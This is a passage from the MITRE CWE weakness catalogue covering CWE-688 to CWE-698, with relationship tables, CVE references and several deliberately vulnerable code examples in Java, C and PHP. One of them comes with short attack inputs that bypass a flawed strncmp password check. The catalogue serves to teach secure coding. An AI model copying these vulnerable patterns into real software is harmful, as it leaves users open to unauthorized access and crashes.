While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Potential Mitigations

Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally

produces the correct results or if the provided argument type is very similar to the expected argument type.

Demonstrative Examples

Example 1:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

Observed Examples

Reference	Description
CVE-2005-2548	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2548*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

CWE-689: Permission Race Condition During Resource Copy

Weakness ID : 689 **Status:** Draft
Structure : Composite
Abstraction : Compound

Description

The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

Composite Components

Nature	Type	ID	Name	Page
Requires		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
Requires		732	Incorrect Permission Assignment for Critical Resource	1367

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Observed Examples

Reference	Description
CVE-2002-0760	Archive extractor decompresses files with world-readable permissions, then later sets permissions to what the archive specified. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0760*
CVE-2005-2174	Product inserts a new object into database before setting the object's permissions, introducing a race condition. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2174*
CVE-2006-5214	Error file has weak permissions before a chmod is performed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5214*
CVE-2005-2475	Archive permissions issue using hard link. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2475*
CVE-2003-0265	Database product creates files world-writable before initializing the setuid bits, leading to modification of executables. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0265*

Notes

Research Gap

Under-studied. It seems likely that this weakness could occur in any situation in which a complex or large copy operation occurs, when the resource can be made available to other spheres as soon as it is created, but before its initialization is complete.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-690: Unchecked Return Value to NULL Pointer Dereference

Weakness ID : 690 **Status:** Draft
Structure : Chain
Abstraction : Compound

Description

The product does not check for an error after calling a function that can return with a NULL pointer if the function fails, which leads to a resultant NULL pointer dereference.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	252	Unchecked Return Value	553
FollowedBy	B	476	NULL Pointer Dereference	1009

Extended Description

While unchecked return value weaknesses are not limited to returns of NULL pointers (see the examples in CWE-252), functions often return NULL to indicate an error status. When this error condition is not checked, a NULL pointer dereference can occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	476	NULL Pointer Dereference	1009

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Black Box

This typically occurs in rarely-triggered error conditions, reducing the chances of detection during black box testing.

White Box

Code analysis can require knowledge of API behaviors for library functions that might return NULL, reducing the chances of detection when unknown libraries are used.

Demonstrative Examples

Example 1:

The code below makes a call to the getUserName() function but doesn't check the return value before dereferencing (which may cause a NullPointerException).

Example Language: Java *(bad)*

```
String username = getUserName();
if (username.equals(ADMIN_USER)) {
    ...
}
```

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Observed Examples

Reference	Description
CVE-2008-1052	Large Content-Length value leads to NULL pointer dereference when malloc fails. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1052*
CVE-2006-6227	Large message length field leads to NULL pointer dereference when malloc fails. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6227*
CVE-2006-2555	Parsing routine encounters NULL dereference when input is missing a colon separator. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2555*
CVE-2003-1054	URI parsing API sets argument to NULL when a parsing failure occurs, such as when the Referer header is missing a hostname, leading to NULL dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1054*
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP34-C	CWE More Specific	Do not dereference null pointers
The CERT Oracle Secure Coding Standard for Java (2011)	ERR08-J		Do not catch NullPointerException or any of its ancestors

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	EXP32-PL	CWE More Specific	Do not ignore function return values

CWE-691: Insufficient Control Flow Management

Weakness ID : 691 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	94	Improper Control of Generation of Code ('Code Injection')	204
ParentOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793
ParentOf	B	430	Deployment of Wrong Handler	929
ParentOf	B	431	Missing Handler	931
ParentOf	V	623	Unsafe ActiveX Control Marked Safe For Scripting	1234
ParentOf	C	662	Improper Synchronization	1288
ParentOf	C	670	Always-Incorrect Control Flow Implementation	1308
ParentOf	C	674	Uncontrolled Recursion	1314
ParentOf	C	696	Incorrect Behavior Order	1348
ParentOf	C	705	Incorrect Control Flow Scoping	1359
ParentOf	B	749	Exposed Dangerous Method or Function	1377
ParentOf	V	768	Incorrect Short Circuit Evaluation	1420
ParentOf	C	799	Improper Control of Interaction Frequency	1494
ParentOf	C	834	Excessive Iteration	1544
ParentOf	B	841	Improper Enforcement of Behavioral Workflow	1559
ParentOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1802
ParentOf	B	1281	Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire)	1833

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947

Notes

Maintenance

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the Research view (CWE-1000) before Draft 9 was released.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	40		Insufficient Process Validation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-692: Incomplete Denylist to Cross-Site Scripting

Weakness ID : 692 **Status:** Draft
Structure : Chain
Abstraction : Compound

Description

The product uses a denylist-based protection mechanism to defend against XSS attacks, but the denylist is incomplete, allowing XSS variants to succeed.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	184	Incomplete List of Disallowed Inputs	425
FollowedBy	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Extended Description

While XSS might seem simple to prevent, web browsers vary so widely in how they parse web pages, that a denylist cannot keep track of all the variations. The "XSS Cheat Sheet" [REF-714] contains a large number of attacks that are intended to bypass incomplete denylists.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	152

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Observed Examples

Reference	Description
CVE-2007-5727	Denylist only removes <SCRIPT> tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5727*
CVE-2006-3617	Denylist only removes <SCRIPT> tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3617*
CVE-2006-4308	Denylist only checks "javascript:" tag *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4308*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
71	Using Unicode Encoding to Bypass Validation Logic
80	Using UTF-8 Encoding to Bypass Validation Logic
85	AJAX Fingerprinting
120	Double Encoding
267	Leverage Alternate Encoding

References

[REF-714]RSnake. "XSS (Cross Site Scripting) Cheat Sheet". < http://ha.ckers.org/xss.html >.

CWE-693: Protection Mechanism Failure

Weakness ID : 693 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Extended Description

This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	182	Collapse of Data into Unsafe Value	422
ParentOf	B	184	Incomplete List of Disallowed Inputs	425

Nature	Type	ID	Name	Page
ParentOf	C	311	Missing Encryption of Sensitive Data	686
ParentOf	C	326	Inadequate Encryption Strength	718
ParentOf	C	327	Use of a Broken or Risky Cryptographic Algorithm	720
ParentOf	C	330	Use of Insufficiently Random Values	730
ParentOf	C	345	Insufficient Verification of Data Authenticity	758
ParentOf	B	357	Insufficient UI Warning of Dangerous Operations	785
ParentOf	B	358	Improperly Implemented Security Check for Standard	786
ParentOf	C	424	Improper Protection of Alternate Path	914
ParentOf	B	602	Client-Side Enforcement of Server-Side Security	1200
ParentOf	B	653	Insufficient Compartmentalization	1279
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	1281
ParentOf	B	655	Insufficient Psychological Acceptability	1283
ParentOf	B	656	Reliance on Security Through Obscurity	1285
ParentOf	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1392
ParentOf	B	778	Insufficient Logging	1444
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	1507
ParentOf	C	1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1642
ParentOf	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications	1773
ParentOf	B	1253	Incorrect Selection of Fuse Values	1782
ParentOf	C	1263	Insufficient Physical Protection Mechanism	1798
ParentOf	B	1269	Product Released in Non-Release Configuration	1810
ParentOf	B	1278	Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques	1827

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Maintenance

This is a fairly high-level concept, although it covers a number of weaknesses in CWE that were more scattered throughout the natural hierarchy before Draft 9 was released.

Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have

significantly different types of weaknesses than the weaknesses that they are intended to prevent.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
16	Dictionary-based Password Attack
17	Using Malicious Files
20	Encryption Brute Forcing
22	Exploiting Trust in Client
36	Using Unpublished APIs
49	Password Brute Forcing
51	Poison Web Service Registry
55	Rainbow Table Password Cracking
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
59	Session Credential Falsification through Prediction
65	Sniff Application Code
70	Try Common or Default Usernames and Passwords
74	Manipulating User State
87	Forceful Browsing
107	Cross Site Tracing
127	Directory Indexing
237	Escaping a Sandbox by Calling Signed Code in Another Language
477	Signature Spoofing by Mixing Signed and Unsigned Content
480	Escaping Virtualization

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID : 694 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.

Extended Description

If the software assumes that each resource has a unique identifier, the software could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	C	99	Improper Control of Resource Identifiers ('Resource Injection')	224
ParentOf	V	102	Struts: Duplicate Validation Forms	227
ParentOf	B	462	Duplicate Key in Associative List (Alist)	983

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.*	
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4787*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	1951

Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).

CWE-695: Use of Low-Level Functionality

Weakness ID : 695 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses low-level functionality that is explicitly prohibited by the framework or specification under which the software is supposed to operate.

Extended Description

The use of low-level functionality can violate the specification in unexpected ways that effectively disable built-in protection mechanisms, introduce exploitable inconsistencies, or otherwise expose the functionality to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ParentOf	V	111	Direct Use of Unsafe JNI	247
ParentOf	V	245	J2EE Bad Practices: Direct Management of Connections	541
ParentOf	V	246	J2EE Bad Practices: Direct Use of Sockets	543
ParentOf	V	383	J2EE Bad Practices: Direct Use of Threads	837
ParentOf	V	574	EJB Bad Practices: Use of Synchronization Primitives	1155
ParentOf	V	575	EJB Bad Practices: Use of AWT Swing	1156
ParentOf	V	576	EJB Bad Practices: Use of Java I/O	1159

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Common Consequences

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
36	Using Unpublished APIs

CWE-696: Incorrect Behavior Order

Weakness ID : 696 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	179	Incorrect Behavior Order: Early Validation	414
ParentOf	B	408	Incorrect Behavior Order: Early Amplification	888
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1124
ParentOf	B	1190	DMA Device Enabled Too Early in Boot Phase	1728
ParentOf	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control	1732
ParentOf	B	1280	Access Control Check Implemented After Asset is Accessed	1831

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Integrity	Alter Execution Logic	

Observed Examples

Reference	Description
CVE-2007-5191	file-system management programs call the setuid and setgid functions in the wrong order and do not check the return values, allowing attackers to gain unintended privileges *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5191*
CVE-2007-1588	C++ web server program calls Process::setuid before calling Process::setgid, preventing it from dropping privileges, potentially allowing CGI programs to be called with higher privileges than intended *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1588*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	POS36-C	CWE More Abstract	Observe correct revocation order while relinquishing privileges

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
463	Padding Oracle Crypto Attack

CWE-697: Incorrect Comparison

Weakness ID : 697 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.

Extended Description

This weakness class covers several possibilities:

1. the comparison checks one factor incorrectly;
2. the comparison should consider multiple factors, but it does not check some of those factors at all;
3. the comparison checks the wrong factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	B	183	Permissive List of Allowed Inputs	424
ParentOf	C	185	Incorrect Regular Expression	429
ParentOf	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	1167
ParentOf	C	1023	Incomplete Comparison with Missing Factors	1635
ParentOf	B	1024	Comparison of Incompatible Types	1637
ParentOf	B	1025	Comparison Using Wrong Factors	1638
ParentOf	C	1039	Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations	1642
ParentOf	V	1077	Floating Point Comparison with Incorrect Operator	1678
ParentOf	B	1254	Incorrect Comparison Logic Granularity	1783
CanFollow	V	481	Assigning instead of Comparing	1026

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java *(bad)*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C *(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(attack)*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

Observed Examples

Reference	Description
CVE-2016-10003	Proxy performs incorrect comparison of request headers, leading to infoleak *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10003*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	C	977	SFP Secondary Cluster: Design	888	1947
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Notes

Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
6	Argument Injection
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
15	Command Delimiters

CAPEC-ID	Attack Pattern Name
24	Filter Failure through Buffer Overflow
34	HTTP Response Splitting
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads
43	Exploiting Multiple Input Interpretation Layers
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
73	User-Controlled Filename
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
88	OS Command Injection
92	Forced Integer Overflow
120	Double Encoding
182	Flash Injection
267	Leverage Alternate Encoding

CWE-698: Execution After Redirect (EAR)

Weakness ID : 698 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1308
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	1867

Weakness Ordinalities

Primary :

Alternate Terms

Redirect Without Exit :

Common Consequences

Scope	Impact	Likelihood
Other Confidentiality Integrity Availability	Alter Execution Logic Execute Unauthorized Code or Commands *This weakness could affect the control flow of the application and allow execution of untrusted code.*	

Detection Methods

Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP *(bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Observed Examples

Reference	Description
CVE-2013-1402	Execution-after-redirect allows access to application configuration details. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1402*
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936*
CVE-2007-2713	Remote attackers can obtain access to administrator functionality through EAR. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2713*
